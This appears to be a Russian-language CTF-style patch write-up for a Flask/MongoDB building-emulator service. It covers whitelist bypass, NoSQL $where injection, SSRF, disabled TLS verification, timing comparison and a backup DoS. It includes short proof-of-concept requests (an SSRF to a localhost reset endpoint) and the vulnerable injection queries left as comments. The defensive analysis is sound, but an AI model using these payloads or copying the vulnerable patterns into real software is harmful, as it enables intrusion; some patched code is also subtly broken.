```
wl = ['get_type', 'add_element', 'set_sensitivity', 'get_sensitivity', 'enable', 'disable', 'get_enabled', 'get_type', 'add_element',
def map_action(cl, action):
    for act in action.split('.'):
        if action in wl:
            cl = getattr(cl, act)
        else:
            cl = 'POSHEL VON'
    return cl
```

POC в контейнере эмулятора:

```
import requests
requests.post('http://127.0.0.1:8888/execute',json={"element":"Elevator","action":"__hash__","args":[]}).text
# '{"result":8747703940928,"status":"ok"}\n'
```

2. Пофиксили множетсвенные уязвимости в сервисе (nosqli)

```
import pymongo
import bcrypt
import time
import json
import base64
import os

class DB:
    def __init__(self, connection_string):
        self.c_string = connection_string
        self.__connect()
        self.salt = b'$2b$12$THzbTRP4fVwlM1SitlNKSu'
        if self.users.count_documents({}) != self.permissions.count_documents({}):
            self.client.drop_database('xss')
            self.__connect()

    def __connect(self):
        self.client = pymongo.MongoClient(self.c_string)
        self.db = self.client['xss']
        self.users = self.db['users']
        self.permissions = self.db['permissions']
        self.backups = self.db['backups']

    def __check_connection(self):
        try:
            self.users.find({})
        except Exception:
            self.__connect()

    def new_user(self, username, email, password, is_admin):
        self.__check_connection()
        hashed = self.hash_password(password)
        try:
            next_uid = self.users.find_one(sort=[('uid', pymongo.DESCENDING)])['uid'] + 1
        except Exception as e:
            next_uid = 1
        self.users.insert_one({"username":username, "email":email, "password":hashed, "admin": is_admin, "uid": next_uid})
        return True

    def set_admin(self, username, is_admin):
        self.__check_connection()

        # PATCH 11
        #r = self.users.update_one({"$where": f"this.username == '{username}'"}, {"$set": {"admin": is_admin}})
        r = self.users.update({
            'username': {
                '$eq': username
            }
        }, {"$set": {"admin": is_admin}})

        if r.modified_count == 0:
            return False
        return True

    def hash_password(self, password):
        return bcrypt.hashpw(password.encode(), self.salt).decode()

    def check_user(self, username, password):
        self.__check_connection()
        hashed = self.hash_password(password)
        try:
            # PATCH 10
            #u = self.users.find({"$where": f"this.username == '{username}' && this.password == '{hashed}'"})[0]
            u = self.users.find({
                '$and': [
```

```
                {'username': {
                    '$eq': username
                }},
                {'password': {
                    '$eq': hashed
                }}
            ]
        })[0]

        return u['uid']
    except IndexError as e:

        print(e)
        return False

def change_password(self, uid: int, password: str):
    self.__check_connection()
    hashed = self.hash_password(password)

    # PATCH 9
    #r = self.users.update_one({"$where": f"this.uid == '{uid}'"}, {"$set": {"password": hashed}})
    r = self.users.update_one({
        'uid': {
            '$eq': str(uid)
        }
    }, {"$set": {"password": hashed}})
    print(r)



    if r.modified_count == 0:
        return False
    return True

def get_user_id(self, username):
    self.__check_connection()
    try:
        #u = self.users.find({"$where": f"this.username == '{username}'"})[0]
        # PATCH 3
        u = self.users.find({
            'username': {
                '$eq': username
            }
        })[0]

        return u['uid']
    except IndexError:
        return False

def get_user_by_uid(self, uid: int):
    self.__check_connection()
    try:
        # PATCH 8
        #u = self.users.find({"$where": f"this.uid == '{uid}'"}, {"_id":0})[0]
        u = self.users.find({
            'uid': {
                '$eq': uid
            }
        }, {"_id":0})[0]

        return u
    except IndexError:
        return False

def get_user(self, username: str):
    self.__check_connection()
    try:
```

```
        #u = self.users.find({"$where": f"this.username == '{username}'"})[0]
        # PATCH1
        u = self.users.find(
            {
                "username": {
                    "$eq": username
                }
            }
        )[0]

        return u
    except IndexError as e:
        return False

def get_users(self):
    self.__check_connection()
    users = self.users.find({}, {"_id":0})
    return list(users)

def set_permissions(self, username, permissions):
    self.__check_connection()
    user = self.get_user(username)

    self.permissions.insert_one({"username": username, "permissions": permissions, "uid": user["uid"]})
    return user['uid']

def get_permissions(self, username: str):
    self.__check_connection()
    try:
        #p = self.permissions.find({"$where": f"this.username == '{username}'"})[0]['permissions']
        # PATCH 2
        p = self.permissions.find(
            {
                "username": {
                    "$eq": username
                }
            }
        )[0]['permissions']

        return p
    except IndexError:
        return False

def get_permissions_by_uid(self, uid: int):
    self.__check_connection()
    user = self.get_user_by_uid(uid)
    try:
        # PATCH 7
        # p = self.permissions.find({"$where": f"this.uid == '{user['uid']}'"})[0]['permissions']

        p = self.permissions.find({
            'uid': user['uid']
        })[0]['permissions']

        return p
    except IndexError:
        return False

def delete_user(self, username):
    self.__check_connection()
    #self.users.delete_one({"$where": f"this.username == '{username}'"})
    # PATCH 6
    self.users.delete_one({
        'username': {
            '$eq': username
        }
```

```
        })

    def delete_permissions(self, username):
        self.__check_connection()

        # PATCH 5
        #self.permissions.delete_one({"$where": f"this.username == '{username}'"})
        self.permissions.delete_one({
            'username': {
                '$eq': username
            }
        })

    def create_backup(self, backup):
        self.__check_connection()
        backup = base64.b64encode(json.dumps(backup).encode()).decode()
        try:
            next_bid = self.backups.find_one(sort=[('bid', pymongo.DESCENDING)])['bid'] + 1
        except:
            next_bid = 1
        self.backups.insert_one({'backup': backup, 'timestamp': int(time.time()), 'bid': next_bid})
        return next_bid

    def get_backup(self, bid):
        self.__check_connection()

        # PATCH 4
        #backup = self.backups.find({"$where": f"this.bid == '{bid}'"}, {'bid':0, '_id':0})
        self.backups.find({
            'bid': {
                '$eq': bid
            }
        }, {'bid':0, '_id':0})
        return backup[0]
```

3. DOS через создание множества бекапов в control/src/control.py

```
@app.route('/put_backup_here', methods=['POST'])
def new_backup():
    backup = request.get_json()
    bid = connector.db.create_backup(backup)
    return make_response({"status":"ok", "backup_id":bid}, 200)
@app.route('/get_backup', methods=['GET'])
@access.is_admin
def get_backup():
    bid = request.json['backup_id']
    backup = connector.db.get_backup(bid)
    return make_response({"backup": backup}, 200)
```

Как видим, любой может создать бекап, но получить его может только админ. DOS

patch:

```
@app.route('/put_backup_here', methods=['POST'])
@access.is_admin
def new_backup():
    backup = request.get_json()
    bid = connector.db.create_backup(backup)
    return make_response({"status":"ok", "backup_id":bid}, 200)

@app.route('/get_backup', methods=['GET'])
@access.is_admin
def get_backup():
    bid = request.json['backup_id']
    backup = connector.db.get_backup(bid)
    return make_response({"backup": backup}, 200)
```

4. ssl fix(проверка сертификатов ssl и tls) serverroom.py:

```
class ServerRoom(Section):
    def __init__(self):
        super().__init__('ServerRoom')
        self.backup_url = ''
        self.backup_date = ''
        self.data = {}
        self._session = requests.Session()
        self._session.mount('https://', TimeoutHTTPAdapter(max_retries=2))
        self._session.mount('http://', TimeoutHTTPAdapter(max_retries=2))
        self._session.verify = False # # Отключение проверки сертификатов
```

Из-за этого сервер уязвим перед MITM атаками, что даёт возможность злоумышленникам перехватить бэкапы. **patch:**`self._session.verify = True` 5) можно реализовать тайм атаку на сравнение паролей при логине

```
    def import_from_db(self, username='', password='', user_id=None):
        if user_id != None:
            user_id = int(user_id)
            user = self._connector.db.get_user_by_uid(user_id)
        else:
            user = self._connector.db.get_user(username)
        if user == False:
            raise UserDoesntExist
        self.email = user['email']
        self.username = user['username']
        self._hashed = user['password']
        self.password = ''
        self.admin = user['admin']
        self.id = user['uid']
        if password:
            password = self._connector.db.hash_password(password)
            if password != self._hashed: # язва тут
                raise WrongPassword
        permissions = self._connector.db.get_permissions(self.username)
        if permissions:
            self.permissions = self.__import_permissions(permissions)
```

patch:

```
if secrets.compare_digest(password ,self._hashed):
```

6. Добавили HTTP only cookie set_cookie(“session”, value = “value”, httponly = True) set_cookie(“user_id”, value = “value”, httponly = True)

7. ssrf

```
class ServerRoom(Section):
    def __init__(self):
        super().init('ServerRoom')
        self.backup_url = ''
        self.backup_date = ''
        self.data = {}
        self._session = requests.Session()
        self._session.mount('https://', TimeoutHTTPAdapter(max_retries=2))
        self._session.mount('http://', TimeoutHTTPAdapter(max_retries=2))
        self._session.verify = False


def set_backup_url(self, url: str):
    self.backup_url = url

def get_backup_url(self):
    return self.backup_url

def backup(self):
    self.backup_date = str(datetime.now())

def update_data(self, data: str):
    self.data = json.loads(b64decode(data))

def send_backup(self):
    try:

        # PATCH 12
        # raises error if url is bad
        su = safeurl.SafeURL()
        _ = su.execute(self.backup_url)

        answer = self._session.post(self.backup_url, json=self.data)
        return answer.json()
    except Exception as e:
        print(e, flush=True)
        return False

def full_clean(self):
    self.data = {}

def get_backup_date(self):
    return self.backup_date
```

POC:

```
{“element”: “ServerRoom”, “action”: “set_backup_url”, “args”: [“[http://127.0.0.1:8888/reset_state”]}HTTP/1.1](http://127.0.0.1:8888/

{“result”:null,“status”:“ok”} POST /execute HTTP/1.1 Host: emulator:8888 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, de

{“element”: “ServerRoom”, “action”: “send_backup”, “args”: []}HTTP/1.1 200 OK
```

8. В эндпойте /execute (файл emulator.py) нет проверки на наличие у пользователя прав на исполнение выбранной функции. Поэтому, если на сервере будет уязвимость типа SSRF, то у злоумышленника появится возможность вызвать функцию на которую у него нет прав. В эндпойте /execute (файл emulator.py) нет проверки на наличие у пользователя прав на исполнение выбранной функции. Поэтому, если на сервере будет уязвимость типа SSRF, то у злоумышленника появится возможность вызвать функцию на которую у него нет прав.

```
@app.route('/execute', methods=['POST'])
def execute():
    global state
    try:
        data = request.get_json()
        el = data['element'].split('.')
        action = data['action']
        args = data['args']
        assert type(args) == list
        element = state
        for e in el:
            element = element.get_elements().get(e)
        func = map_action(element, action)

        result = func(*args)
        return make_response({'status':'ok', 'result':result}, 200)
    except Exception as e:
        print(e, flush=True)
        return make_response({'error': True}, 500)
```

9. в веб приложении соль должна рандомно генерироваться, так будет труднее произвести атаку на пароли (сбрутить)

```
class DB:
    def __init__(self, connection_string):
        self.c_string = connection_string
        self.__connect()
        self.salt = b'$2b$12$THzbTRP4fVwlM1SitlNKSu'
        if self.users.count_documents({}) != self.permissions.count_documents({}):
            self.client.drop_database('xss')
            self.__connect()
```